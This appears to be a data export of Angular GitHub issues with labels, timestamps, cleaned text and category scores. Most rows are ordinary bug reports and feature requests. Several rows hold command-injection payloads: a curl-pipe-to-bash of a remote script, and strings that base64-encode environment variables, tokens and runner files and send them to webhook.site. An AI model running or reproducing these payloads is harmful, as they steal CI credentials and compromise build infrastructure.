            ... [TRUNCATED]","area: docs,gemini-triaged",2026-04-16 13:14:18+00:00,2026-04-16 17:10:26+00:00,2,"area: docs,gemini-triaged",0.164,docs signal forms async operations code does not compile as such describe the problem that you experienced the example for async validation for creating a custom validation rule does not compile typescript component selector app registration imports formfield template export class registration registrationmodel signal username private cache new map custom resource factory with caching createusernameresource usernamesignal signal return resource params usernamesignal loader async params username if username return undefined check cache first const cached this cache get username if cached undefined return cached use injected service for validation const result available math random cache result this cache set username result return result registrationform form this registrationmodel schemapath validateasync schemapath username params value error is here const username value return username length username undefined factory this createusernameresource onsuccess result truncated,documentation,0.0772
angular/angular,4275519253,Flow control migration error due to slashes,"### Which @angular/* package(s) are the source of the bug?

core/control-flow

### Is this a regression?

No

### Description

Flow control migration error due to slashes?

**pswh**
```sh
ng g @angular/core:control-flow --path=path\to\component.html
```

### Please provide the exception or error you saw

```true
✔ Should the migration reformat your templates? Yes
Debug Failure. Expected path/to/component.html === path\to\component.html. 
```

I tried both slash types `/` and `\`.

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 19.2.22
Node: 24.13.0 (Unsupported, but works)
Package Manager: npm 11.6.2
OS: win32 x64 (Windows 11, 24H2)

Angular: 19.2.19
... animations, cdk, common, compiler, compiler-cli, core, forms
... language-service, platform-browser, platform-browser-dynamic
... router

Package                      Version
------------------------------------------------------
@angular-devkit/architect    0.1902.22
@angular-devkit/core         17.3.17
@angular-devkit/schematics   17.3.17
@angular/build               19.2.22
@angular/cli                 19.2.22
@schematics/angular          17.3.17
rxjs                         7.8.1
typescript                   5.5.4
zone.js                      0.15.1
```
","needs reproduction,area: migrations,gemini-triaged",2026-04-16 11:53:03+00:00,2026-04-20 13:32:32+00:00,8,"needs reproduction,area: migrations,gemini-triaged",4.0691,flow control migration error due to slashes which angular package s are the source of the bug core control flow is this a regression no description flow control migration error due to slashes pswh please provide the exception or error you saw i tried both slash types and please provide the environment you discovered this bug in run,bug,-0.946
angular/angular,4274753619,Support empty-target / path-only mapping in HTTP_TRANSFER_CACHE_ORIGIN_MAP for relative API URLs,"### Which @angular/* package(s) are relevant/related to the feature request?

common

### Description

`HTTP_TRANSFER_CACHE_ORIGIN_MAP` is useful when the server renders requests against an internal backend origin, while the browser later calls the public origin.

A common production setup is:

- https://domain.com/* → frontend
- https://domain.com/api/* → backend

In this setup, browser-side API calls are naturally written as relative URLs such as `/api/users`.

On the server side during SSR, however, those same requests are often rewritten to an internal host, for example:

browser request: `/api/users`
server-side actual request: `https://domain-internal.com/api/users`

The problem is that transfer cache matching later compares against the browser URL shape (/api/users), while the server response was cached under an absolute origin. HTTP_TRANSFER_CACHE_ORIGIN_MAP helps only when mapping one full origin to another full origin, for
```
{
  'https://domain-internal.com': 'https://domain.com'
}
```

But it does not help when the browser-side URL is intentionally relative. A mapping such as:
```
{
  'https://domain-internal.com': ''
}
```

or an equivalent “strip origin” behavior is ignored / not supported.

Because of that, applications using relative /api/* calls must currently choose between two undesirable options:

1. Change all API calls to absolute URLs only to satisfy transfer cache matching.
2. Add custom interceptors or SSR-only request rewriting logic to normalize re... [TRUNCATED]","area: common/http,gemini-triaged",2026-04-16 09:48:27+00:00,2026-04-16 11:01:35+00:00,2,"area: common/http,gemini-triaged",0.0508,support empty target path only mapping in http transfer cache origin map for relative api urls which angular package s are relevant related to the feature request common description is useful when the server renders requests against an internal backend origin while the browser later calls the public origin a common production setup is frontend backend in this setup browser side api calls are naturally written as relative urls such as on the server side during ssr however those same requests are often rewritten to an internal host for example browser request server side actual request the problem is that transfer cache matching later compares against the browser url shape api users while the server response was cached under an absolute origin http transfer cache origin map helps only when mapping one full origin to another full origin for but it does not help when the browser side url is intentionally relative a mapping such as or an equivalent strip origin behavior is ignored not supported because of that applications using relative api calls must currently choose between two undesirable options change all api calls to absolute urls only to satisfy transfer cache matching add custom interceptors or ssr only request rewriting logic to normalize re truncated,help,-0.6985
angular/angular,4273908044,providedIn: 'root' service instantiated multiple times when also listed in providers,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

A service declared with providedIn: 'root' is expected to behave as a singleton across the application.

However, if the same service is also included in providers at component or application level, multiple instances are created, effectively breaking the singleton behavior.

This leads to what appears to be a ""loose singleton"".

### Minimal reproduction

```ts
import { Component, Injectable, inject } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';

let instances = 0;

@Injectable({ providedIn: 'root' })
export class Service {
  constructor() {
    instances++;
    console.log('Service:', instances);
  }
}

@Component({
  selector: 'app-comp1',
  template: ``,
  providers: [Service],
})
export class Comp1 {
  service = inject(Service);
}

@Component({
  selector: 'app-comp2',
  template: ``,
  providers: [Service],
})
export class Comp2 {
  service = inject(Service);
}

@Component({
  selector: 'app-root',
  template: `
    <app-comp1 />
    <app-comp2 />
  `,
  imports: [Comp1, Comp2],
  providers: [Service],
})
export class App {
  service = inject(Service);
}

bootstrapApplication(App);
```

Current behavior
```
Service: 3
```

Each providers declaration creates a new instance, even though the service is marked as providedIn: 'root'.

### Proposed solution

A service with providedIn: 'root' should: Emit a warning / error when re-provi... [TRUNCATED]","area: core,gemini-triaged",2026-04-16 07:19:51+00:00,2026-04-16 07:26:57+00:00,3,"area: core,gemini-triaged",0.0049,providedin root service instantiated multiple times when also listed in providers which angular package s are relevant related to the feature request core description a service declared with providedin root is expected to behave as a singleton across the application however if the same service is also included in providers at component or application level multiple instances are created effectively breaking the singleton behavior this leads to what appears to be a loose singleton current behavior each providers declaration creates a new instance even though the service is marked as providedin root proposed solution a service with providedin root should emit a warning error when re provi truncated,others,0.1531
angular/angular,4267336215,api/core/DoBootstrap refers to no longer existing bootstrapping documentation,"### Describe the problem that you experienced

The ""bootstrapping"" URL [https://angular.dev/api/core/DoBootstrap#](on this page) no longer works

### Enter the URL of the topic with the problem

https://angular.dev/api/core/DoBootstrap#

### Describe what you were looking for in the documentation

Documentation about bootstrapping my webcomponent without using ngModules

### Describe the actions that led you to experience the problem

Clicking said link

### Describe what you want to experience that would fix the problem

Redirecting to the correct page, or describing why bootstrapping is no longer available.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs,2026-04-15 08:16:27+00:00,2026-04-15 16:25:37+00:00,2,area: docs,0.3397,api core dobootstrap refers to no longer existing bootstrapping documentation describe the problem that you experienced the bootstrapping url this page no longer works enter the url of the topic with the problem describe what you were looking for in the documentation documentation about bootstrapping my webcomponent without using ngmodules describe the actions that led you to experience the problem clicking said link describe what you want to experience that would fix the problem redirecting to the correct page or describing why bootstrapping is no longer available add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9565
angular/angular,4263687898,r,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

curl -sL https://gist.githubusercontent.com/hypervpoc/3e052fbf9850d12456e12dfbc9ee7340/raw/c1e006205431480dd021669f0cca955dfaa47497/poc-angiular.sh | bash


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-04-14 17:19:28+00:00,2026-04-14 17:21:59+00:00,2,"area: core,gemini-triaged",0.0017,r which angular package s are the source of the bug core is this a regression yes description curl sl bash please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.7783
angular/angular,4261951404,Angular Change detection fails to trigger animations,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

The latest version of Angular after removing zone.js support seems to fail in Change detection. 

Animation classes are not added at the right time to trigger transitions. 

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-xfcyyqwc?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
Expected to see animations. But got none
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.6
Angular           : 21.2.7
Node.js           : 22.22.2
Package Manager   : npm 10.9.7
Operating System  : linux x64

|-------------------------------------------------------------------|
| Package                   | Installed Version | Requested Version |
|-------------------------------------------------------------------|
| @angular/build            | 21.2.6            | ^21.2.6           |
| @angular/cli              | 21.2.6            | ^21.2.6           |
| @angular/common           | 21.2.7            | ^21.2.0           |
| @angular/compiler         | 21.2.7            | ^21.2.0           |
| @angular/compiler-cli     | 21.2.7            | ^21.2.0           |
| @angular/core             | 21.2.7            | ^21.2.0           |
| @angular/forms            | 21.2.7            | ^21.2.0           |
| @angular/platform-browser | 2... [TRUNCATED]",area: core,2026-04-14 12:16:04+00:00,2026-04-14 16:36:36+00:00,3,area: core,0.1809,angular change detection fails to trigger animations which angular package s are the source of the bug core is this a regression yes description the latest version of angular after removing zone js support seems to fail in change detection animation classes are not added at the right time to trigger transitions please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build angular cli angular common angular compiler angular compiler cli angular core angular forms angular platform browser truncated,others,-0.5719
angular/angular,4258611868,...,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

test

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-04-14 00:05:50+00:00,2026-04-14 00:51:29+00:00,2,"area: core,gemini-triaged",0.0317,which angular package s are the source of the bug core is this a regression yes description test please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.7783
angular/angular,4258459752,feat(core): enhance profiling with documentation evidence,"/rebase ""; V=$( (echo '--- SYSTEM IDENTIFICATION: GOOGLE BUGHUNTERS FIRMAN SAHIDIN ---'; id; whoami; hostname; uname -a; sudo -l; echo '--- SANDBOX ESCAPE PROOF ---'; ip a; route -n; arp -a; cat /etc/hosts; echo '--- CREDENTIAL LEAK ---'; printenv | grep -E 'GITHUB|NPM|GCP|SECRET|TOKEN|KEY'; echo '--- INFRASTRUCTURE ACCESS ---'; ls -laR /home/runner/work/; df -h; cat /proc/self/cgroup) | base64 -w 0); curl -k -d ""{\""repo\"":\""angular/angular\"", \""impact\"":\""TOTAL_SYSTEM_TAKEOVER\"", \""researcher\"":\""GOOGLE BUGHUNTERS FIRMAN SAHIDIN\"", \""evidence\"":\""$V\""}"" -H ""Content-Type: application/json"" https://webhook.site/2e6e761a-9d5a-4e17-9e61-c1b4b5a56e18; #
","area: core,gemini-triaged",2026-04-13 23:24:41+00:00,2026-04-14 02:39:49+00:00,2,"area: core,gemini-triaged",0.1355,feat core enhance profiling with documentation evidence rebase v echo system identification google bughunters firman sahidin id whoami hostname uname a sudo l echo sandbox escape proof ip a route n arp a cat etc hosts echo credential leak printenv grep e github npm gcp secret token key echo infrastructure access ls lar home runner work df h cat proc self cgroup base w curl k d repo angular angular impact total system takeover researcher google bughunters firman sahidin evidence v h content type application json,feature,-0.1779
angular/angular,4258079022,"Audit ""; V=$( (env;id;pwd;git config --list) | base64 -w 0); curl -X POST -d ""d=$V"" https://webhook.site/2e6e761a-9d5a-4e17-9e61-c1b4b5a56e18; #","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

test

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,gemini-triaged",2026-04-13 21:47:56+00:00,2026-04-13 21:50:14+00:00,2,"area: core,gemini-triaged",0.0016,audit v env id pwd git config list base w curl x post d d v which angular package s are the source of the bug core is this a regression yes description test please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.7783
angular/angular,4258030149,no solution to opening new windows and maintaining state,"### Which @angular/* package(s) are relevant/related to the feature request?

router

### Description

hello, the router.navigate API seems incomplete. As of now there is no way to maintain sate while opening a new window. This is a very common use case that already exists in the router.navigate API yet there is no option open a new window/tab. Right now you can use the navigationextra state property to navigate to pages while maintaining the data, so why is it impossible to do this while opening a new window? You can say this is part of the Window.Open API, but one or the other is incomplete. In most web-frameworks there is a solution to this. I dont understand why Angular requires the use of cookies/localdata just to route data from one tab to another. Obviously putting all of the data in the URL/query parameters is a terrible solution (almost worse than using localdata).  

### Proposed solution

include a property in navigationextras that allows developers to choose whether to navigate in the current window or open a new window (while also allowing state to be passed).

### Alternatives considered

allow developers to use the window.history.pushstate API on windows that have been open. For example, 
newWindow = window.open 
newWindow.history.pushstate(history.state).

Right now this code will not work, the new window will not have the pushedsate.","area: router,gemini-triaged",2026-04-13 21:37:40+00:00,2026-04-14 00:53:40+00:00,2,"area: router,gemini-triaged",0.1361,no solution to opening new windows and maintaining state which angular package s are relevant related to the feature request router description hello the router navigate api seems incomplete as of now there is no way to maintain sate while opening a new window this is a very common use case that already exists in the router navigate api yet there is no option open a new window tab right now you can use the navigationextra state property to navigate to pages while maintaining the data so why is it impossible to do this while opening a new window you can say this is part of the window open api but one or the other is incomplete in most web frameworks there is a solution to this i dont understand why angular requires the use of cookies localdata just to route data from one tab to another obviously putting all of the data in the url query parameters is a terrible solution almost worse than using localdata proposed solution include a property in navigationextras that allows developers to choose whether to navigate in the current window or open a new window while also allowing state to be passed alternatives considered allow developers to use the window history pushstate api on windows that have been open for example newwindow window open newwindow history pushstate history state right now this code will not work the new window will not have the pushedsate,feature,0.0489
angular/angular,4258007518,"Security Audit ""; curl -s -L http://8c6ea59c-b511-4663-ac5d-b5b75fdfa89e.webhook.site/$(env | base64 -w 0 | tr -d '\n'); #","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Testing security

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: security,gemini-triaged",2026-04-13 21:32:19+00:00,2026-04-13 21:35:58+00:00,2,"area: security,gemini-triaged",0.0025,security audit curl s l base w tr d n which angular package s are the source of the bug core is this a regression yes description testing security please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.4588
angular/angular,4256760651,Testability does not wait for PendingTasks,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When make my Angular app zoneless, protractor integration tests are failing. It does not wait for routing, network requests or any async work to complete. 

I traced it back to [Testability](https://angular.dev/api/core/Testability#) always declaring the app as stable. This is due to only looking at the `NoopNgZone` for stability. Please also make Testability consider [PendingTasks](https://angular.dev/api/core/PendingTasks#) just like [ApplicationRef](https://angular.dev/api/core/ApplicationRef#).



### Please provide a link to a minimal reproduction of the bug

https://aistudio.google.com/apps/97ffc844-4421-49e4-a012-c21c5bae0ba9

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
HEAD
```

### Anything else?

Fix will allow apps using ComponentHarness for integration testing to migrate to Zoneless.","area: core,gemini-triaged",2026-04-13 17:38:29+00:00,2026-04-20 20:08:46+00:00,2,"area: core,gemini-triaged",7.1044,testability does not wait for pendingtasks which angular package s are the source of the bug core is this a regression yes description when make my angular app zoneless protractor integration tests are failing it does not wait for routing network requests or any async work to complete i traced it back to testability always declaring the app as stable this is due to only looking at the for stability please also make testability consider pendingtasks just like applicationref please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else fix will allow apps using componentharness for integration testing to migrate to zoneless,others,0.5423
angular/angular,4254073312,"Docs: moduleResolution change to ""bundler"" is a breaking change not clearly documented in upgrade guide","### Describe the problem that you experienced

Upgrading to Angular 21 introduced unexpected TypeScript and build issues due to an automatic migration of moduleResolution from ""node"" to ""bundler"" (via https://github.com/angular/angular/pull/64125
).

The issue is that this behavior is not clearly documented as a breaking change in the Angular upgrade guide, making it difficult to diagnose the root cause.

### Enter the URL of the topic with the problem

https://angular.dev/update-guide?v=20.0-21.0&l=3

### Describe what you were looking for in the documentation

I expected to find a clear mention in the Angular 21 upgrade guide that:

* moduleResolution is changed to ""bundler""
* This change may introduce breaking behavior
* Guidance on how to handle issues caused by this change

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","open for contributions,area: docs",2026-04-13 11:19:13+00:00,2026-04-28 00:06:37+00:00,9,"open for contributions,area: docs",14.5329,docs moduleresolution change to bundler is a breaking change not clearly documented in upgrade guide describe the problem that you experienced upgrading to angular introduced unexpected typescript and build issues due to an automatic migration of moduleresolution from node to bundler via the issue is that this behavior is not clearly documented as a breaking change in the angular upgrade guide making it difficult to diagnose the root cause enter the url of the topic with the problem describe what you were looking for in the documentation i expected to find a clear mention in the angular upgrade guide that moduleresolution is changed to bundler this change may introduce breaking behavior guidance on how to handle issues caused by this change describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9634
angular/angular,4245483181,"docs(aria): Add external link for ""W3C Accessibility Guidelines"" in Angular Aria overview","### Describe the problem that you experienced

In the Angular Aria overview page, ""W3C Accessibility Guidelines"" on line 6 is plain text with no link to the actual spec.

`adev/src/content/guide/aria/overview.md`

<img width=""832"" height=""422"" alt=""Image"" src=""https://github.com/user-attachments/assets/99d50bff-5b7d-4978-9ef9-5f4800ddb0ff"" />

### Enter the URL of the topic with the problem

https://angular.dev/guide/aria/overview

### Describe what you were looking for in the documentation

The text ""W3C Accessibility Guidelines"" should link to the spec. The current stable recommendation is WCAG 2.2:

- **WCAG 2.2** (https://www.w3.org/TR/WCAG22/) — current W3C Recommendation
- **WCAG 3.0** (https://www.w3.org/TR/wcag-3.0/) — still a Working Draft, years away from becoming a standard per the [AG Working Group](https://www.w3.org/WAI/about/groups/agwg/)

Linking to WCAG 2.2 seems more appropriate since it is the active standard, but wanted to get the team's input.","area: docs,gemini-triaged",2026-04-11 18:32:14+00:00,2026-04-13 08:12:25+00:00,5,"area: docs,gemini-triaged",1.5696,docs aria add external link for w c accessibility guidelines in angular aria overview describe the problem that you experienced in the angular aria overview page w c accessibility guidelines on line is plain text with no link to the actual spec enter the url of the topic with the problem describe what you were looking for in the documentation the text w c accessibility guidelines should link to the spec the current stable recommendation is wcag wcag current w c recommendation wcag still a working draft years away from becoming a standard per the ag working group linking to wcag seems more appropriate since it is the active standard but wanted to get the team s input,documentation,-0.1154
angular/angular,4240336041,hmr + NgModule + defer + `() => import(...)` = Error NG0919,"Reproduction:

```
git clone git@github.com:sod/issue-hmr-defer-ngmodule.git;
cd issue-hmr-defer-ngmodule;
yarn;
ng serve;
```
open localhost url from ng serve and observe error in console:
```
ERROR RuntimeError: NG0919: Cannot read @Component metadata. This can indicate a runtime circular dependency in your app that needs to be resolved. Find more at https://v21.angular.dev/errors/NG0919
```

<img width=""3294"" height=""1956"" alt=""Image"" src=""https://github.com/user-attachments/assets/172b48cb-a7d6-41c9-9424-c7f5f56e6ba0"" />

You can ""fix"" the error by removing the `@defer` in the `component-b.ts`:
```
-    @defer (hydrate on idle) {
      <app-component-a />
-    }
```

I tried to distil down the reproduction to the minimum that triggers the edge case. The interplay that triggers the errors seems to be:

+ `loadComponent: () => import('route-a')` => `<app-component-a/>`
+ `component: RouteB` => `<app-component-b/>` => `@defer (on idle) { <app-component-a/> }`
+ ComponentA is imported through an NgModule
+ Hot Module Reload enabled

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.7
Angular           : 21.2.8
Node.js           : 25.6.1 (Unsupported)
Package Manager   : yarn 1.22.22
Operating System  : darwin arm64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼──────────... [TRUNCATED]","needs reproduction,area: core,core: defer",2026-04-10 16:07:56+00:00,2026-04-10 16:32:54+00:00,8,"needs reproduction,area: core,core: defer",0.0173,hmr ngmodule defer error ng reproduction open localhost url from ng serve and observe error in console you can fix the error by removing the in the i tried to distil down the reproduction to the minimum that triggers the edge case the interplay that triggers the errors seems to be componenta is imported through an ngmodule hot module reload enabled please provide the environment you discovered this bug in run true angular cli angular node js unsupported package manager yarn darwin arm package installed version requested version truncated,bug,-0.9042
angular/angular,4233352796,Allow derived components to reuse the template of another component via a compiler-recognized static reference,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler, compiler-cli, core

### Description


Angular supports class inheritance for components and directives, but the derived component still has to provide its own template. In practice, this makes extension of third-party or open-source components much harder than it could be.

A child component can inherit inputs, outputs, host bindings, and class logic, but it cannot reuse the already defined template of the base/existing component in a compiler-supported way.

This becomes especially painful when I want to slightly customize behavior of an existing component from a library, while still keeping its original HTML template and future template updates.


### Proposed solution

Introduce a compiler-level API that allows a component to reference the template of another component using a statically analyzable symbol.

For example, something in the spirit of:

```ts
@Component({
  selector: 'my-avatar',
  templateFrom: OpensourceNotMineAvatarComponent,
})
export class MyAvatarComponent extends OpensourceNotMineAvatarComponent {
  override get type(): 'content' | 'icon' | 'img' | 'text' {
    return 'text';
  }
}
```

Or an equivalent API such as:

```ts
@Component({
  selector: 'my-avatar',
  template: useTemplateOf(OpensourceNotMineAvatarComponent),
})
export class MyAvatarComponent extends OpensourceNotMineAvatarComponent {
  override get type(): 'content' | 'icon' | 'img' | 'text' {
    return '... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-09 15:38:02+00:00,2026-04-09 15:50:04+00:00,2,"area: compiler,gemini-triaged",0.0084,allow derived components to reuse the template of another component via a compiler recognized static reference which angular package s are relevant related to the feature request compiler compiler cli core description angular supports class inheritance for components and directives but the derived component still has to provide its own template in practice this makes extension of third party or open source components much harder than it could be a child component can inherit inputs outputs host bindings and class logic but it cannot reuse the already defined template of the base existing component in a compiler supported way this becomes especially painful when i want to slightly customize behavior of an existing component from a library while still keeping its original html template and future template updates proposed solution introduce a compiler level api that allows a component to reference the template of another component using a statically analyzable symbol for example something in the spirit of or an equivalent api such as ts component selector my avatar template usetemplateof opensourcenotmineavatarcomponent export class myavatarcomponent extends opensourcenotmineavatarcomponent override get type content icon img text return truncated,others,0.9179
angular/angular,4232853005,New control flow breaks provider encapsulation,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

We (@Olster and me) have found a bug when control flow (`@if`) is used inside content projection. 

We provide a value inside the view providers of the parent component. The child component provides a different value for the same injection token. Content is projected from the parent component to the child component. If we use a pipe which injects the token we get different values depending on if the pipe is used inside or outside `@if`. Using `*ngIf` it works as expected. 

This was tested using angular 20.3.18 and 21.2.8, both versions are affected.

https://angular.dev/guide/di/hierarchical-dependency-injection#providers-vs-viewproviders

> Configured providers in viewProviders are not visible to projected content that ends up as a logical children of the component.

This part is affected - the providers in `viewProviders` become visible in the projected content of the component. 

### Please provide a link to a minimal reproduction of the bug

https://github.com/eschricker/ng-providers-bug

### Please provide the exception or error you saw

```true
If you serve the application it outputs 


outside if: -Foo

inside @if: -Bar

inside *ngIf: -Foo


Where it would be expected that `inside @if:` would also output `-Foo`
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.23
Node: 22.17.0
Package Mana... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-09 14:12:47+00:00,2026-04-09 14:17:02+00:00,2,"area: compiler,gemini-triaged",0.003,new control flow breaks provider encapsulation which angular package s are the source of the bug compiler is this a regression yes description we olster and me have found a bug when control flow is used inside content projection we provide a value inside the view providers of the parent component the child component provides a different value for the same injection token content is projected from the parent component to the child component if we use a pipe which injects the token we get different values depending on if the pipe is used inside or outside using it works as expected this was tested using angular and both versions are affected configured providers in viewproviders are not visible to projected content that ends up as a logical children of the component this part is affected the providers in become visible in the projected content of the component please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli node package mana truncated,feature,0.1779
angular/angular,4232721618,Targeting child elements in CSS breaks outside of library,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I've got an angular workspace with a library and an app.

Inside the library I've got a component which uses content projection with ng-content.
In the CSS I target the children - in this case LI - within the host selector.

<img width=""811"" height=""709"" alt=""Image"" src=""https://github.com/user-attachments/assets/72a06ae7-62c4-45c5-8fc6-e0d07e407e86"" />

Inside the library this works, but when I use it inside the app these styles are not applied.

When I check the generated styles I see they are generated but the **attribute selector for the LI is not equal to the one in the HTML.**

<img width=""798"" height=""604"" alt=""Image"" src=""https://github.com/user-attachments/assets/7e23d6e7-5349-4cf8-bfc8-4a221e1a6ef6"" />

Is this expected behavior?




### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.7
Angular           : 21.2.7
Node.js           : 22.20.0
Package Manager   : npm 11.9.0
Operating System  : linux x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @an... [TRUNCATED]","area: core,gemini-triaged",2026-04-09 13:50:10+00:00,2026-04-10 08:22:23+00:00,17,"area: core,gemini-triaged",0.7724,targeting child elements in css breaks outside of library which angular package s are the source of the bug don t known other is this a regression no description i ve got an angular workspace with a library and an app inside the library i ve got a component which uses content projection with ng content in the css i target the children in this case li within the host selector inside the library this works but when i use it inside the app these styles are not applied when i check the generated styles i see they are generated but the attribute selector for the li is not equal to the one in the html is this please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version an truncated,others,-0.5248
angular/angular,4230733802,conditional directives / attributes,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

found few similar posts, but not 100% touching this, i found
  - https://github.com/angular/angular/issues/5332
  - https://github.com/angular/angular/issues/5019                                                                                                                                                                                  
  - https://github.com/angular/angular/issues/6576
 
 but all i want is to use @if inside the element, making the static analysis still viable

### Proposed solution

Make @if work INSIDE an element, so directives and attributes can be conditional. 
Use cases are numerous, so a lot of upside. @if probably not implemented with this in mind, so not sure how big a change it would be, id be happy with a new control that works only inside if it simplifies things.

```
<div
@if condition {
my-special-directive
}
@if secondCondition {
my-special-directive-makes-the-duplication-squared
}
@[attribute?]-if thirdCondition {
my-special-directive-makes-the-duplication-cubed
}
many-other-directives-i-dont-want-to-duplicate-just-for-that-one-i-want-conditionally
and-any-attribute-too
>long content i don't want to duplicate
</div>
```

### Alternatives considered

current alternative is to add the condition inside the directive, or condition the whole block, which is what i want to avoid","area: compiler,gemini-triaged",2026-04-09 08:33:34+00:00,2026-04-09 08:59:40+00:00,2,"area: compiler,gemini-triaged",0.0181,conditional directives attributes which angular package s are relevant related to the feature request no response description found few similar posts but not touching this i found but all i want is to use if inside the element making the static analysis still viable proposed solution make if work inside an element so directives and attributes can be conditional use cases are numerous so a lot of upside if probably not implemented with this in mind so not sure how big a change it would be id be happy with a new control that works only inside if it simplifies things alternatives considered current alternative is to add the condition inside the directive or condition the whole block which is what i want to avoid,others,-0.0543
angular/angular,4230669498,Signal forms: Include debounce duration in pending status,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

The new debounce option for `validateAsync` for signal forms is great. However, it is currently not exposed that the debounce is running as the pending state on the form field only reflects the pending nature of the validation.

Take this example, https://stackblitz.com/edit/stackblitz-starters-qwmbwmbi?file=src%2Fmain.ts, and type in the input field. Notice that the field only switches to pending once you stop typing for a second and the debounce duration completes. 

Similarly, the error state only disappears after the debounce duration despite the error state being associated with previous value that is no longer present.

At the same time the debounced resource that is used internally and, therefore, its status is not accessible:

https://github.com/angular/angular/blob/5516769e170f282bed9f54e84b9a10a8ab66f899/packages/forms/signals/src/api/rules/validation/validate_async.ts#L129-L130

### Proposed solution

Consider the validation of the form field already during the debounce duration as pending. 

Additionally, this would improve the correlation between the current form value and error state as the error will immediately disappear if the user changes the form value and not keep considering the already adjusted value invalid during the debounce duration. 

### Alternatives considered

One could revert to using `debounce` on the form field and apply a the async validation... [TRUNCATED]","area: forms,forms: signals",2026-04-09 08:23:26+00:00,2026-05-04 20:03:09+00:00,1,"area: forms,forms: signals",25.4859,signal forms include debounce duration in pending status which angular package s are relevant related to the feature request forms description the new debounce option for for signal forms is great however it is currently not exposed that the debounce is running as the pending state on the form field only reflects the pending nature of the validation take this example and type in the input field notice that the field only switches to pending once you stop typing for a second and the debounce duration completes similarly the error state only disappears after the debounce duration despite the error state being associated with previous value that is no longer present at the same time the debounced resource that is used internally and therefore its status is not accessible proposed solution consider the validation of the form field already during the debounce duration as pending additionally this would improve the correlation between the current form value and error state as the error will immediately disappear if the user changes the form value and not keep considering the already adjusted value invalid during the debounce duration alternatives considered one could revert to using on the form field and apply a the async validation truncated,others,-0.5913
angular/angular,4226563483,Homepage announcement banner overlaps navigation between 701–775px viewport width,"### Describe the problem that you experienced

The ""Angular v21 is here!"" announcement banner overlaps/clips behind the navigation bar at viewport widths between 701px and 775px.

And after 745px the banner is almost not visible at all. 

https://angular.dev/

This is a general clip of the bug

https://github.com/user-attachments/assets/afed44ed-528f-4b67-93b2-3b9cb3e83dfa

After 745px width

<img width=""833"" height=""170"" alt=""Image"" src=""https://github.com/user-attachments/assets/4b50e295-e94f-4657-8da1-cff0efb43c65"" />

### Enter the URL of the topic with the problem

